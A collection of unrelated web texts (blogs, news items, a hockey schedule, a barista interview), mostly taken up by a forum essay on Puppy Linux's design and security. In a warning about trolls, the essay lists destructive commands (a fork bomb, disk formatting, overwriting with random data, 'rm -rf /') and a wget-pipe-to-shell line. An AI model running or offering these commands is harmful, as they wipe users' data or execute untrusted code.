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I wanted to share with you the lovely Eden roses I have growing in my garden.
Somehow they have miraculously survived the rain here in the beautiful but wet Pacific Northwest.
|Many words are not needed, as I think these blissful blooms speak for themselves.
Thanks for stopping by, and happy weekend to you!

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We shall let Vietnam and the organizers make the official medal announcements, but, after worrying about the difficult exams, the coaches finally have the results.
The coaches are pleased.
Sunday, July 27, 2008
Posted by American Association of Physics Teachers at 8:05 PM
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- Julie said...
The results are posted on http://ipho2008.hnue.edu.vn/default.aspx!
- July 27, 2008 at 8:31 PM
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Sirens, Bicycle Gangs, and Tea Parties have graced the walls of our salon for the past year. We've loved their wooful gazes, steely stares, and playful smiles.
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The Pride Center strives to be a welcoming and affirming place for all EWU community members, particularly those who identify as LGBTQ+ and allies.
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PRAGUE, Jan 25 (Reuters) - Czech downstream oil group Unipetrol reported on Thursday a drop in fourth-quarter net profit to 737 million crowns ($36.13 million) after an unplanned shutdown.
The result compares with an adjusted net profit of 2.62 billion crowns a year ago, which excludes one-off items.
For the full-year 2017, net profit rose to 8.66 billion crowns, up from a reported 7.98 billion crowns in 2016, including the one-off items.
Unipetrol is majority owned by Poland's PKN Orlen, which has launched a voluntary buyout offer that lasts until Jan. 30.
$1 = 20.3960 Czech crowns Reporting by Jason Hovet; Editing by Biju Dwarakanath


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At the end of last year my wonderful bible study leader challenged me and our group to share a word that summed up our spiritual journey for that year. I picked the word "purpose". For this blog I thought that I would share how my understanding of purpose has changed my life.
2016 was a huge year for me, and this upcoming year will only be greater! On the eve of the new year, my best friend and high school sweetheart, Greg, got down on one knee and asked me to marry him!
Naturally, we started planning this new chapter of our lives together and as much as we wanted to be married we knew that we would have to wait until I was done with school in a year and a half. Greg and I continually prayed throughout the year for patience...long engagements are hard! We still have 171 days left, but God showed UP this year in our relationship in ways that we could have never predicted.
After being together for six years, Greg and I know each other like the back of our own hands. However, we grew even closer during our Preparing for Marriage class we took this summer. One of the greatest lessons we took away from the class was the truth that God designed marriage to make us both happy AND holy! We had great discussion on this challenging statement: "The problem with looking to another human to complete us is that, spiritually speaking, it's idolatry. We are to find our fulfillment and purpose in God . . . and if we expect our spouse to be 'God' to us, he or she will fail every day. No person can live up to such expectations."
The PURPOSE of marriage is to serve God through our love for each other. I pray that this new chapter in our life will only bring honor and glory to him.


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|Photo from BU's 4-2 win over Boston College at Agganis
last year.
(Photo by Matt Dresens)
Anyway, the official, no guessing when games will be played schedule is out. The card is highlighted by some big name schools such as Wisconsin and North Dakota (2x) coming to Agganis. Also, there is the return of Red Hot Hockey for the fourth time with Cornell at Madison Square Garden, along with the annul Beanpot Tournament. BU gets BC in the first round, there. The last of the marquee non-confrence games is a trip to Michigan, where BU will face Michigan and Michigan State on back to back night in late October. That is a trip that I will in fact be making and am already highly looking forward to.
Of course, there is alway the Hockey East games, too. This year BU (and the rest of Hockey East) will play each other twice instead of three times and also welcome Notre Dame into the mix. BU will have to travel out to South Bend for a pair of games late in the season.
As reported earlier, BU will face Maine in Frozen Fenway, a game that I will say in advance I will NOT be attending.
Complete schedule is below.
Sat 10/5 St. Francis Xavier (ex)
Fri 10/11 UMass
Sat 10/12 Holy Cross
Fri 10/18 Resselear
Sat 10/19 Wisconsin
Fri 10/25 @ Michigan
Sat 10/26 @ Michigan State
Fri 11/1 Providence
Sat 11/2 @ Providence
Fri 11/8 Boston College
Fri 11/15 @ Maine
Sun 11/17 Connecticut
Fri 11/22 North Dakota
Sat 11/23 North Dakota
Sat 11/30 Cornell (1)
Fri 12/6 @ Merrimack
Sat 12/7 Merrimack
Fri 12/13 Bentley
Sat 1/4 @ Harvard
Wed 1/4 Dartmouth
Sat 1/11 vs Maine (2)
Fri 1/17 @ Boston College
Sat 1/18 @Lowell
Fri 1/24 Vermont
Sat 1/25 Vermont
Fri 1/31 @ UMass
Mon 2/3 vs Boston College (3)
Fri 2/7 Lowell
Mon 2/10 Harvard/NU (3)
Fri 2/14 @ New Hampshire
Sat 2/15 New Hampshire
Fri 2/21 @ Notre Dame
Sat 2/22 @ Notre Dame
Fri 2/28 Northeastern
Sat 3/1 @ Northeastern
1. Red Hot Hockey, Madison Square Garden
2. Frozen Fenway, Fenway Park
3. Beanpot Tournament, TD Garden


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The spokeswoman added that the frustration of the Hungarian side increased by the fact that in the meantime, Romanian Foreign Minister Titus Corlatean praised Hungarian-Romanian bilateral relations.
The spokeswoman remarked that the Hungarian government hoped that the Romanian foreign minister's initial positive opinion on bilateral relations was sincere and that the decision, which is unacceptable by European diplomatic standards has been approved without the minister's knowledge.
The Hungarian government initiated the opening of two consular offices in Romania in April last year. In addition to the Bucharest embassy Hungary has consular offices in Csíkszereda and Kolozsvár.
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While creativity is often stressed in the conceptual phases of design, it is rarely considered during the concept selection process. Before effective methods can be developed to aid in creative concept section, however, differences in the perceptions of creativity between expert and novice designers and the influence of creativity evaluation methods on the process must be considered. Therefore, this paper was developed to address these questions by studying 11 expert and 11 novice designers. Specifically the study was developed to understand if experts' and novices' perception of a concepts creativity aligned, to introduce and compare the utility of our tool for assessing semantic creativity (TASC) to existing creativity evaluation methods, and to identify if our TASC method could be used as a proxy for expert evaluators. Our findings reveal that experts and novices generally had similar perceptions of a concept's creativity and that the TASC method was tapping into similar constructs of human perceptions of concept creativity. The results of this study contribute to our understanding of the factors that influence the selection or filtering of creative ideas after idea generation and provide a framework for research in this field.
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Love in Lapland, or How My Travel Style is Changing.
That's how I've described myself on this blog for the past year or so. That's how I travel, by myself. I'm independent, or selfish- I like to be able to do my own thing. I'm fairly introverted, tho' I like meeting new people (just let me take time for a quiet nap, alone, for a while mmkay?). When I travel I either book through a company like Busabout, or I just go for it like I did with Spain 2013 and my Baltic Adventure earlier in the year. Or I'll go and get a job that'll change my life more than I knew when I accepted it.
|Lordy, I miss this place
|Also, I wore a coat at least three sizes too big for me
|But the monster's turned out to be just tree's & when the sun came up you were looking at me
yes, I am quoting Taylor Swift, what of it?
Yeah, I know, we haven't been together a long time- and I rarely get this personal on this blog. I kind of think you just know when it's right & I have that feeling about him. Maybe moving a couple of thousand miles with him is a big risk when we've spent more time apart than together so far, but I spend a chunk of my time- mainly on this blog- telling people to take risks, and just go. So that's what I am doing, and I think he is a risk worth taking.
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Exercise is good for the body - and your business. In fact, employees who do a little walking may help keep your business running.
When employees combine activity with other healthier habits, they have the power to potentially prevent 91% of diabetes, 82% of heart disease and other costly illnesses.1
Take advantage of this educational tool kit! This toolkit can help motivate your employees to exercise more and in ways that don't always require a gym membership.
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CAPE CANAVERAL, Fla. — The military's small, top-secret version of the space shuttle rocketed into orbit Tuesday for a repeat mystery mission, two years after making the first flight of its kind.
The Air Force launched the unmanned spacecraft Tuesday aboard an Atlas V rocket, which was manufactured by Centennial-based United Launch Alliance.
It's the second flight for this original X-37B spaceplane. It circled the planet for seven months in 2010. A second X-37B spacecraft spent more than a year in orbit.
These high-tech mystery machines — 29 feet long — are about one-quarter the size of NASA's old space shuttles and can land automatically on a runway. The two previous touchdowns occurred in Southern California; this one might end on NASA's 3-mile-long runway once reserved for the space agency's shuttles.
The military isn't saying much, if anything, about this new secret mission. In fact, launch commentary ended 17 minutes into the flight.
But one scientific observer, Harvard University's Jonathan McDowell of the Harvard-Smithsonian Center for Astrophysics, speculates the spaceplane is carrying sensors designed for spying and probably is serving as a testbed for future satellites.


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Not too long ago one of my favorite customers sent me an email inquiring about international conference calls. If you need to provide a way for participants outside of the United States or Canada to join your conference call we have three different options for international dialing.
Option One: Participant Pays Long Distance / International Fees. This option requires no changes on how you use or are billed for your services. Anywhere in the world, a participant can call into a direct access number and be joined to the conference. You're billed whatever is standard for your account and they are billed on their phone bill what their provider will charge. This option is best for those who rarely have a need for international conferences or are one of our flat rate customers.
Option Two: International Toll Free. From Argentina to Venezuela on this list of rates these countries can be provided their own toll free access into our conference bridges. You rates for domestic callers (US / Canada) stay the same and the rate for international depends on the country that connects. There is usually no charge to participants in these countries and requires a new conference line on your account.
Option Three: Most countries can be dialed to from within in our system and brought into the conference line without any additional charges to them. For many of the countries there is little to no change in your per minute per person rate. Some countries are not available for outdial and we can either add a new conference line or activate this option on a conference existing on your account.
Depending on what option you choose or how your account is set up, we might ask for you for an additional form to be sent back to us. International can be activated for specific users of your account in order to limit cost and availability for the services. If you need international conferencing added to your account or have any questions about how it works or the pricing for outdial rates, just give us a call and we can help.


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Stores that focus on traditional home equipment include The Vermont Country Store and Lehman's. Large retail stores, such as Ace Hardware and Walmart, sell some products that can be useful for traditional home tasks, such as farming and homemaking.
Clothing lines and clothing racks dry clothing outdoors. Clothing racks may use modern metal and plastic materials, or they can be constructed with traditional wood materials. Outdoor dryers are designed with retractable wires, umbrella shapes and long elevated lines. The outdoor clothes dryers may also require accessories, such as clothing clips.
Home washers and specialty washer detergent can be found on the Homestead General Store site. Other traditional homemaking equipment may be found at thrift shops, farm stores and antique stores.


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Well, I'm back trying Puppy Linux 5.2.8. Like other posts in this great thread, I have been trying other distros. Some of them I like but coming back to Puppy is like opening the door on the first day of Spring and smelling air that is refreshing and promising. Maybe not the greatest analogy
but you know what I mean. I'm giving it another go. My Dell 3000 and my old HP laptop are currently booted from CD accessing a save file on the internal HD. So far things are going fine again.
I'm doing the same with my Compaq laptop.
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Post subject: The Real Power that is Puppy
Subject description: Article describing the advantages of Puppy Linux versus other Linux
The following article is actually part of a longer article that I'm writing which is my wish list for how we should develop Puppy Linux further. My own belief is that work on a system such as Puppy should be to further improve the areas that it's already good at, making them even better rather than trying to improve the areas where other systems are as good or better. The longer article is still a work in progress. If there are any faults in my description of Puppy please tell me.
The Real Power that is Puppy
Regardless of the large number of great Linux systems available, I believe that Puppy Linux is the best of its class. Defining exactly what that class is, is difficult and probably contentious.
Writing this is hard for me as I don't have a great knowledge of other Linux distributions. There's so many that there probably isn't anyone that knows them all and anyway, I've been so happy with Puppy, I spend almost all my time using that. To be more precise I'm currently using a frugal installed Precise Puppy (currently 5.7.1) as a dual boot with MS Windows and haven't even tried most of the other current Puppy distributions let alone the large number of other Linuxs. I'm making a few presumptions as to what exists and doesn't in other Linux distributions. If I'm wrong, please correct.
Puppy is used by many computer gurus, particularly due to its high speed, typically running out of RAM, plus its reputation of being a stable platform. Many, but not all, gurus still prefer a GUI (Graphical User Interface) system. It is one of only a small number of GUI Linux systems with all these abilities, but it is not unique in these abilities and as to whether it's the best of this kind would be a hotly contested question. Wikipedia lists 25 Linux versions that will operate out of RAM at http://en.wikipedia.org/wiki/List_of_Linux_distributions_that_run_from_RAM. Of systems that can run out of RAM there are probably only 3 or 4 other Linux systems that can be classed as both stable and reasonably easy to use GUI system.
Where I thought it outshone all other systems when I started using Puppy some years ago was in its use by users trying to transition from MS Windows to Linux or users who're required to keep some use of their MS Windows system. At that stage it was a leader in having a liveCD and a frugal install with a persistence file that allows you to share a single MS Windows formated disk both while running Linux and running MS Windows. Now, there's a number of LiveCD systems with setups that give similar frugal installs.
Puppy Linux has a great set of tools to allow a user to initially install and setup the operating system. If it's not the best system from the point of view of allowing general non guru MS Windows users to install and setup their operating systems, then it must be very near the best.
Between the above, we have a good system for many people, but with only these abilities it is still only arguably the best or just one of the best.
The main place where Puppy Linux most shows its clear superiority over all other Linux systems is still in its use by users trying to transition from MS Windows to Linux or users who're required to keep some use of their MS Windows system. Continuing upgrades to Puppy has made it the system where you just click to install user software from almost any source, with an interface that makes any previous MS Windows user comfortable.
In today's world, even the current low skilled Windows user tends to be more sophisticated than being satisfied with a predefined set of applications. Even the large number of applications in the likes of the Ubuntu repository isn't enough.
As well as a full GUI interface to download and install programs from both the Ubuntu and Puppy repositories, with the very impressive Package Manager that handles all the dependencies etc, current Puppy systems also allow you to download and install almost any package you can obtain of the following types:
Puppy .pet
Debian/Ubuntu .deb,
Slackware .tgz and
Arch .pkg.tar.gz
Simply click on these and you'll receive an offer from Puppy Package Manager to install it. They install like Puppy's own packages, with a menu entry created if appropriate.
After these packages there remains a great range of Linux software that's simply compressed but has no other packaging. Even here, installation on Puppy is just like the older MS Windows packages where you would have unzipped an installation directory and then ran the .exe file.
I recently installed Celtx which is a specialist editor for writing film scripts and stage plays. Even though this program is the best known public domain program for this application, it wasn't available from the Ubuntu repositories. To install you first download its .tar.bz2 compressed file, obtained from the Celt.com website. Simply clicking on this file brought up a graphical interface almost exactly like unzipping a file under MS Windows. After decompressing and saving you can just click the 'celt' file to run it. Alternatively, you drag the 'celt' file to the desktop and hey presto you have a icon on the desktop that you can use to run the program. It felt just like an old MS Windows install, except that the file to run was named 'celt' not 'celt.exe'. No need to use 'sudo', no need to type any commands, no need to reboot the system to log in as root or admin, just click and it works.
I very much doubt that there are any other stable RAM based easy to use GUI interface systems with such wide and easy to install abilities like this. If any other system is as good at all these points, please tell me what it is.
The simpler interface for user software installation along with the amount of software available becomes more important when you examine most of the installation instructions being given by other Linux systems.
One would expect Linux command instructions to be similar from one Linux system to the other just as the DOS commands you could use under Windows 3.1 were almost the same as the DOS commands under Windows 95 and XP etc. Unfortunately, with the installation commands being used by most Linux systems that I've observed, the instructions (commands to be typed) being given for how to install from one Linux system (or perhaps subgroup of Linux systems) to the next tend to be different.
Techniques learned in working with one GUI system tend to be more universal, being used for other things both in that system and in most other systems.
Another area where it seems to have a superiority over other GUI systems that can run out of RAM, is in the size and power of the system while still being able to run out of RAM. Reasons why Puppy allows a larger set of user programs while still providing the responsiveness of a system running within the RAM are as follows:
A) A smaller base Operating System as it doesn't contain the Multiuser facilities and all the related security.
B) Puppy's on the fly load and unload of Union Mounted or overlaid squashfs (SFS) files. I'm not sure what facilities other Linux systems provide for Union Mounted or overlaid squashfs files or equivalent but Puppy's use of them is very impressive. They allow a person like myself who usually wants a large operating system with a big range of user programs to use a system that is so small that it runs in RAM with the speed and responsiveness advantages that this gives.
For myself this is because although I need development software as provided by the devx sfs, I only occasionally use it. Similarly, with Gimp which I only occasionally use. With these large programs I have the SFS files downloaded but not set to be loaded at bootup. On the occasion that I want to use them, I load them on-the-fly before use. Note: This also reduces bootup time.
C) Puppy's internal design seems to have a number design factors that allow a far larger Linux system to run from RAM. As I understand it, when Puppy loads the SFS files into RAM they are stored in RAM in the compressed form. Some figures I've seen show the SFS format as typically giving a better than a 1 to 3 ratio on size while continuing to allow very good random access to the directories and files within it. Note that Puppy requires additional RAM to hold each program when it runs the program. This a side effect of only holding the system in compressed form. Regardless of this side effect, holding programs in RAM in compressed form allows a far larger system to run out of RAM. Most of Puppy Linux other then the persistence file and the kernel is stored as SFS.
Note that the above assumes that there is enough RAM to run as just described. It also has other options when RAM is less than that.
The above described factors mean that Puppy Linux's initial load is a lot faster than it would be otherwise. On the other hand, these factors mean that it won't be as fast at starting up programs or initially opening files from the persistence data compared to other systems that run out of RAM that don't use these factors.
I've seen a number of reviews of Puppy Linux. In each case the reviewer appears to be unaware of these factors. In every review the reviewer described the running of Puppy Linux as providing the speed and responsiveness expected from a system running out of RAM. It's also my experience that these factors haven't significantly reduced the running speed and responsiveness.
Note that the above description of RAM usage only describes the additional RAM used to give the speed and responsiveness of a system described as running in RAM. Puppy, like all other Linux systems uses RAM in a variable way (ie highly Dependant on RAM available) for things such as an intermediate cache for disk writes etc. For many computers, this ends up taking the largest part of the RAM used.
What I don't know is how much the above described factors help in making Puppy unique. How many of the other systems that run out of RAM use these factors? I gather that Knoppix and its derivatives such as Damn Small Linux are similar in some of these details.
D) Puppy provides several methods that allow users to have programs and data that won't be loaded into RAM unless it is used. Programs and data installed on the /mnt/home directory (effectively the MS Windows C:/ directory) come in this category.
Puppy also offers a very interesting alternative which isn't well known. This is to have a complete Linux distribution mounted as an underdog (ie underlying) layer of the Puppy Linux system. This is implemented using a simple underdog.lnx text file containing just the name of a partition, for example "hda1". This little file is placed in the same place as you're putting your boot (.sfs and initrd.gz etc) files. At bootup Puppy will read underdog.lnx and mount the partition as the bottom layer. If that partition happens to have a Linux distro installed in it, then the entire distro filesystem will "show through" to the top layer of Puppy's unionfs. It will look like a normal Puppy, same desktop, but everything in the underlying distro is available to be executed. All the applications, compile environment, package manager, etc.
The above is meant to give the main areas where Puppy outshines other Operating Systems for the biggest number of users. It happens to also be heavily used and is probably the best in several specialist areas.
An example of this is its use by spies and other people needing an ultra high security system, particular in situations where users needs to share computer facilities with other users, or when people are traveling and using other people's computers. This may sound like a contradiction to other statements herein about it being single user and having theoretical problems about its security but the use of it in this application is different. Here it's probably being stored on a removable USB device, able to be physically removed after each use, with its small size being used to make it easy to completely encrypt as well as to run within ram so that it doesn't leave a trail through disk caching etc.
Puppy has great software that makes it easy to create specialist versions. Consequent on this, a number of specialist applications have their own special versions.
An example of this is a special version with long term support, providing a lot of the latest software but designed specifically to run on older computers. You might expect that other smaller versions of Linux would also be able to do this, but in most cases this isn't true. To do a good job of this the system needs to add or use specific software for this task such as an older kernel, drivers such as video drivers more apt for the older hardware and support for older communications techniques. Most of todays small systems don't want to include this.
The quality of the software for making specialist versions is so good that this system should probably be the first system looked at by anyone wanting to make a specialist Operating System.
Regardless of the large number of specialist uses, the remainder of this will concentrate on what I believe are its primary advantages to the greatest number of people, particularly the greatest number of potential users. That is, its use by users trying to transition from MS Windows to Linux or users who're required to keep some use of their MS Windows system.
From the above we see that several of the main advantages come from having a single user system. That is, the lower security requirements that come from having a single user system allowing easier installation requirements and the smaller size allowing a larger system while still running out of RAM.
Puppy is criticized for theoretical concerns relating to security due to the fact that users normally run as root. The more you examine these concerns, the more they become irrelevant concerns for most users.
Lets go through the various types of security needed and look at Puppy Linux. The following analysis concentrates on security concerns for a typical non guru, non programmer user. Security concerns can be split into four areas.
1) Threats from External Hackers:
Puppy Linux provides a good firewall and the standard install scripts make it very easy for the installer to enable it. Further, a number of alternative firewalls are available through Puppy Package Manager. Overall, this is as good or better than most other Linux systems.
If I was an external hacker looking for an easy system to hack into, Puppy Linux would be near last on my list. I would look for the larger more complex systems that had more server type software installed. Each different running server provides a possibility to provide the hooks that the hacker needs. For example, almost all other Linux systems provide true multiuser facilities where external users can log into the system from the network and use it simultaneously with a user on the console. This, like each implemented server, provides a possible avenue of entry for the hacker.
2) Threats from purposefully created Malware:
So long as Puppy continues to make it obvious to the user that they are installing software before software is installed, then the risks relating to malware for Puppy are little different to those from other Linux systems.
Just as with other Linux systems, we are currently finding almost zero problems relating to purposefully created malware. There are a large number of reasons why Linux systems such as Puppy have such a low problem with malware. These include but not limited to:
- Security due to obscurity,
- Security due to a hackers honour among thieves creed (eg its cool to damage systems made by the greedy Microsoft empire but not cool to hurt the work of volunteer coders of Open Source),
- Methodologies used to create and update Linux repositories,
- Difficulty of hiding Linux malware as there's a higher percentage of Guru Linux users who are quick to notice malware.
- Quality of main software repositories such as the Ubuntu repository so that it becomes less likely that the user has to search into less certain areas.
Regardless of the reasons why, problems on Puppy Linux systems relating to purposefully created malware are an order or two orders of magnitude less than the problems being experienced by MS Windows users. In fact, the problems with viruses and the like on MS Windows are the main reason that people should be looking at converting to Puppy Linux.
It should be noted that Puppy is good at telling the user what is going on and giving the user the chance to back out if this is not what they're wanting to do. It's critical that users know that they're installing software before they are committed to the install. Once you have that, then putting users through extra hoops (such as logging in or typing sudu) does little to help security.
Likelihood of there being Malware within the main Puppy distribution is in my opinion, less with Puppy than with most other Linux systems. The reason for this is that Puppy Linux is more of a one man (Barry Kauler ) designed system than most other Linux systems. Like most Linux systems there is a team of contributors, contributing to the development, testing, helping with web pages, helping out in the forum, creating documentation etc. Regardless of this Barry Kauler has kept a firmer hold on the final creation than that seen with other Linux Operating Systems. In particular, only he holds write access to the source code stored in the SVC/SVN server. Any patches etc. have to be given to him for examination before they get into the server. While there are limits as to how much one person could possible check all code, I think the current process helps reduce the risk of malware getting into the code.
3) Threats from others with physical access to the Computer:
Current Puppy has Xlock as a screen locker which has similar facilities to most screen lockers. A number of alternative screen lockers are available through Puppy Package Manager. Overall, this is as good or better than most other Linux systems.
4) Security from the User:
This category includes accidents by the user and security against trolls and other pranksters who persuade users to do damaging things.
It is quite hard to show how running as root on a single user system is some sort of security risk. When examples are created they are almost invariable examples where a user using the command line deletes the system or part of it using a command such as 'rm -rf /' or a weird looking hex disguised version of such.
While it's possible to cause major damage without the command line, the likelihood of users doing so tends to go down drastically. This is particularly so with people who don't fully understand the commands that they're being asked to type (your typical recent convert from MS Windows). Puppy's design helps users remain within the GUI that they understand what they are doing for a larger range of their tasks. This makes it safer rather than the other way around.
When you see trolls on the Internet who think that it's a great joke to create a hex disguised version of a damaging command and persuade the unwary to type it in, you need to look at how not running as root would help. The Ubuntu method of requiring the 'sudu' prefix helps little as that can be easily added to the hex. Further, if the troll can persuade the user to type the hex string then they can probably get them to log in as root.
Similar examples include a range of exploits such as persuading users to type:
: & };:' – Fork Bomb,
'mkfs.ext4 /mnt/sda1' – Format a Hard Drive,
'dd if=/dev/random of=/mnt/home' Write Junk to a Hard Drive,
'mv ~ /dev/null' – Moves Your Home Directory to a Black Hole,
'wget http://example.com/something -O – | sh' – Download and Run a Script.
The above are just samples. Trying to teach non guru users all possible exploits is not possible. I would rather persuade these users to stay within the GUI (Graphical User Interface) which they understand, as they can do all of their installation work there with Puppy.
When you then look at what the results of an accident are on Puppy Linux you find more reasons why most criticism relating to running as root doesn't make sense. Running as a non root user helps to protect the operating system itself, not the user's own data. In earlier times where it was common for users to share larger systems, security against problems with the operating system was paramount.
With todays Puppy Linux running as a typical frugal install, the whole of the operating system is just a small number of files sitting within the disk or USB device. The very small size of the whole operating system, as compressed within the squashed file system, means that it's very easy to back up and this is more likely to be done than with larger systems. Reinstalling it is just a few minutes work. Even in the case where someone doesn't back it up, its such an easy system to reinstall that it isn't a serious problem.
It is my contention that the overall safety (both likelihood of a problem and size of the problem) for MS Windows converts is better with Puppy Linux than other Linux systems such as Ubuntu.
The above security analysis is all based on the typical MS Windows convert to Linux rather than the computer guru using Linux for software development. With looking at platforms best suited for software development, particularly testing, there becomes better arguments against running as root. Even here many software developers and other gurus are finding that the advantages are outweighing the disadvantages when using Puppy Linux.
The latest version of Puppy (5.7.1) has an experimental ability to log in as a non root user. To my experience of computer operating systems it's an unusual implementation. It neither protects the internals of the operating system or the internals of the persistence data. Rather, it protects everything outside of these.
I think that in its overall direction, this makes a lot more sense than the typical root/user login of other Linux systems. With typical home user Linux systems, the security that's important is the security on user data such as the documents that the user is creating. Strangely, the normal Linux root/user login security does little in helping to secure this.
I'm not currently using it as it doesn't fit in with the way I work. I like to store direct to the hard disk and keep the persistence file small. I think that it needs further work to allow users like myself to use it.
As I understand it, an effective use would require the user to make a frequent habit of backing up the persistence data, either as a whole or from the internal data. The problem with this is that performing each backup requires logging in as root. While operating as a non root user it basically protects the backups along with protection of other operating systems on the computer.
Note that only protecting backups is all that could sensibly be done. If you tried to protect the latest data, your applications wouldn't be able to save.
Puppy, like all systems, is not the best system for everyone. For anyone wanting to use a traditional multiuser system, this is not the system. Also, if you're using your system for a business application where you have characteristics such as security is essential and for legal reasons must be able to show it with correctness and proactive emphasis of security then Puppy may not be the right system. Even though it's just for legal reasons or similar politics, the contentious nature of the direction that Puppy has taken to its security would probably make you look at something else like OpenBSD.
I'm a little sick of reading reviews that treat Puppy Linux as something you would use only if you have an old or small computer. I, like many people who use it, am running a computer that could easily run a larger Linux system such as Ubuntu. There are many advantages to using Puppy regardless of your computer's size.
To Sum Up What Puppy Is:
What most distinguishes Puppy from other good Linux systems. Puppy is nearest to being the 'It Just Works' without having to type text (DOS like) commands into a command line shell and its super fast as it runs out of RAM.
Overall Puppy excels in that 'you click on it and it installs or it just works, and it works super fast'. A great mass of Linux software from a great range of sources is easily installable by your non guru using only a simple Windows (GUI) type interface.
Instead of people talking about Puppy as being less secure than other distributions we should talk about it as being more secure than other distributions such as Ubuntu. It is more secure because it is simpler and therefor harder to break into. For someone to hack into a computer they need an already running server as a hook.
Puppy is very much a click on it and it installs or just works, which Ubuntu is not, largely due to Ubuntu's 'sudu', attempting to create security by adding complexity.
For example, instructions for how to install a program with Ubuntu will never work with most other Linux systems and vice versa.
Note: Ubuntu has synaptic which is GUI based package manager for installing software, so under Ubuntu it is possible to at least install from the Ubuntu repository using only the GUI. Regardless of that, almost every time I see instructions for Ubuntu users, they are written as Command Line Interface instructions. It appears to me that the Ubuntu community, and most other Linux communities, are trying to bring their users into using the Command Line.
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BWW Exclusive: Kristin Chenoweth's 2013 Sold-Out Australian Tour Scrapbook!
Just back in town from Kristin Chenoweth's sold out, uber-successful, first ever Australian concert tour, we asked Kristin and her cast to send us snapshots and memories from their trip.The tour kicked off at The Adelaide Cabaret Festival on June 8th and played two sold out shows and then went on to play to sold out crowds at Hammer Hall in Melbourne on June 11th, Queensland Performing Arts Center in Brisbane on June 14th and then finished out the tour in famed Sydney Opera House on June 17th. The Sydney Opera House concert was not only sold out, but, the audience stamped their feet demanding more, bringing Chenoweth out for additional encores!
The tour was directed by Richard Jay-Alexander with musical direction by Mary-Mitchell Campbell, choreography by Tyler Hanes, sound and lights by Matt Berman, stage manager Rocky Noel, and featuring special material written by Sharon Wheatley (performed by the now infamous Avenue Q members of her show - Lucy T. Slut and The Bad Idea Bears). The cast included Will Taylor, Constantine Germanacos and Jennifer Diamond. Rounding out the touring family were Australian musicians Pete Skelton (drums), Alana Dawes (double base) and Colin Elmer (guitar). Also on tour was the irreplaceable Julie Trussell, KC's right hand gal.
Check out the KC touring family's exclusive photos below, including a trip to Lone Pine, where they held koalas and befriended kangaroos!Also, take note, it was a personal dream of Kristin's to play The Sydney Opera House and they already want her back!
Rehearsal in NYC before heading out to Australia: (back row) Mary-Mitchell Campbell, Will Taylor, Jennifer Diamond, Constantine Germanacos, Richard Jay-Alexander, Tyler Hanes (front row) Sharon Wheatley, Kristin Chenoweth
Kristin Chenoweth singing "Fathers and Daughters" on The Morning Show with Mary-Mitchell Campbell on piano
Poster at the Adelaide Cabaret Festival Theatre
The cast rehearsing lines before opening night!
Constantine Germanacos and Will Taylor
Constantine Germanacos, Jennifer Diamond and Will Taylor delayed at the Melbourne airport.
The whole gang at Lone Pine Koala Sanctuary in Brisbane: Pete Skelton, Constantine Germanacos, Matt Berman, Mary-Mitchell Campbell, Rocky Noel, Jennifer Diamond, Will Taylor, Alana Dawes, Julie Trussell and Kristin Chenoweth
Kristin holding a koala!
Jennifer Diamond holding a koala!
Will Taylor holding a koala!
Petting a koala - we didn't want to leave!
Matt Berman kindly squished into the front because our 10 person van wasn't big enough!
Our restaurant in Brisbane, Fix, couldn't have been nicer
Candy run in Brisbane!
Jennifer Diamond outside the Queensland Performing Center in Brisbane
Mary-Mitchell Campbell giving Kristin Chenoweth a pre-show back rub!
Jennifer Diamond and Jared Stevens, our amazing tour manager/liason.
Mary-Mitchell, Julie Trussell and Kristin Chenoweth arrive in Sydney!
Constantine Germanacos taking it all in!
Constantine Germanacos and Jennifer Diamond in Sydney
Will Taylor exploring Bondi Beach (Sydney)
On the water taxi to Taronga Zoo in Sydney: Mary-Mitchell Campbell, Kristin Chenoweth, Jennifer Diamond, Julie Trussell, Dannielle Thomas (Kristin's long time manager) and friends
Kristin greeting baby koala Charlie
Jennifer Diamond feeding a giraffe
Kristin feeding a giraffe
Jennifer Diamond on a ferry in the harbor with The Sydney Opera House behind her.
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Rocky Noel backstage
Julie Trussell, Kristin Chenoweth and Jennifer Diamond (Sydney)
Alana Dawes, Constantine Germanacos and Pete Skelton
Last night dinner and we surprised Constantine with a birthday cake!
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Name: Bernardito P. Patoc
Cafe: KoFe – Espresso Bar
Title: Area Barista Trainer
My coffee: Espresso – Woody (Dark roasted beans from Sumatra).
My equipment: Tamper, Bean Scale Scoops, Brewing Pitcher, brewing smart scale, Milk Thermometer, Espresso Measuring Cup, Espresso Tasting cup.
Most overused ingredient: Coffee beans, cocoa powder, dark chocolate, saffron, pistachio, sea salt, caramel, lactose free milk, soya milk and oat milk.
Favorite coffee destination: For the best brews and caffeine-focused cultures, my favorite cities are Vienna, Seattle, Rome and Melbourne.
Favorite coffee gadget: The 'Espro 53 mm Calibrated Convex Tamper with spring press, it automatically clicks when 30 pounds of force has been exerted onto it.
Q: Why did you become a barista?
When I graduated from Hotel Management, I worked as a part-time barista in one of the biggest coffee chains in the Philippines and that's where the passion for Coffee Making, Latte Arts and 'Eagerness to learn more about coffee' was born inside me. Ever since then, I have always enjoyed brewing and that is what I am good at and I keep getting better at it every day.
Q: What's the best part of the job? Which part is the worst?
Spending my day with wonderful people who are serving wonderful coffee is a joy. Making a perfect cup of coffee is an art, and this job provides a platform for artists like us to perform and display our talent. Keeping up with streams of high-demand, dynamic customers can be one of the greater challenges baristas face, but I still don't call it the "worst part" because, simply, making someone happy with a cup of coffee makes it all worth it.
Q: What makes a regular cup of coffee amazing?
The right equipment, right temperature and ratio of milk to water, quality of beans of course, and a perfect balance of aroma, acidity and body. Most importantly, a barista who is extremely knowledgeable about coffee.
Q: How much coffee do you drink in a day?
I drink 8 to 12 shots of Espressos a day, including the quality check tasting that I have to do in every branch in my visits.
Q: What do you do for fun?
Playing basketball, going to the beach with friends, visiting new coffee shops in town. Watching movies, cooking etc.
Q: How do you deal with really annoying customers?
I deal with them in a nice and calm manner. We don't panic at work, and this mostly makes the annoying customer also easily calm down.
Q: If you weren't a barista, what would you like to be?
Probably a pilot.
Q: What's your favorite treat to have with your coffee?
Every morning as I wake up, I treat myself to a simple cup of Aromatic Black Coffee with a special bread from the Philippines called Tinapay. I can never get bored of this.
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I'm ashamed that this is my first post of 2012! And I'm even more ashamed that this might be the shortest post ever. I've just swallowed two Benadryl and a half-bottle of cheap gas station wine, so God knows how much longer I'll be awake.
